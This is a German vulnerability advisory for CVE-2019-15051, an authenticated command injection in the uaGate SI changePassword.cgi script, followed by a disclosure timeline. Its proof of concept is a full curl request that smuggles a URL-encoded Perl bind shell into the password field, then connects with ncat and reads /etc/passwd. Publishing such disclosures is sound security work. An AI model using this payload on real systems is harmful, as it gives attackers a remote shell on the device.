CVE-2019-15051 - uaGate eine weitere authentifizierte Remote-Code-Ausführung
Zusammenfassung
Ein CGI-Skript des uaGate SI behandelt seine Parameter unsicher. Bösartig gestaltete URL-Parameter können eine beliebige Befehlsnutzlast übertragen, die mit den Rechten des Webservers ausgeführt wird. Die Befehlsausgabe, die an stdout zurückgegeben wird, wird vom Webserver als Antwort auf die bösartige Webanfrage zurückgegeben.
Angriffsvektor
Ein authentifizierter Angreifer kann beliebige Befehle ausführen, indem er eine Webanfrage stellt.
Proof-of-Concept-Details
curl http://uagate/cgi-bin/changePassword.cgi -d "newPassword=*******&confirmPassword=*******&user=mfadmin&oldPassword=*******+%26%26+perl+-e+%27use+Socket%3B%24p%3D4223%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bbind%28S%2Csockaddr_in%28%24p%2C+INADDR_ANY%29%29%3Blisten%28S%2CSOMAXCONN%29%3Bfor%28%3B%24p%3Daccept%28C%2CS%29%3Bclose+C%29%7Bopen%28STDIN%2C%22%3E%26C%22%29%3Bopen%28STDOUT%2C%22%3E%26C%22%29%3Bopen%28STDERR%2C%22%3E%26C%22%29%3Bexec%28%22%2Fbin%2Fbash+-i%22%29%3B%7D%3B%27" --user mfadmin:****** & (sleep 1; ncat uagate 4223)
cat /etc/passwd
Angriffsszenario
Dieser Exploit kann in einer Exploit-Kette zusammen mit einer Privilegieneskalationsschwachstelle verwendet werden, um vollständige Kontrolle über das Zielgerät zu erlangen.
Zeitverlauf
- Tag 0 - erneuter Test des uaGate SI Geräts - 07.08.2019
- Tag 7 - CVE-ID von MITRE ausgestellt - 14.08.2019
- Tag 47 - Problembericht an Hersteller - 23.09.2019
- Tag 61 - Hersteller bestätigte Sicherheitsprobleme - 07.10.2019
- Tag 63 - Fix gefunden in Firmware 1.72.00.1996 - 09.10.2019
- Tag 64 - veröffentlicht - 10.10.2019
Danksagung
rfr@mioso.com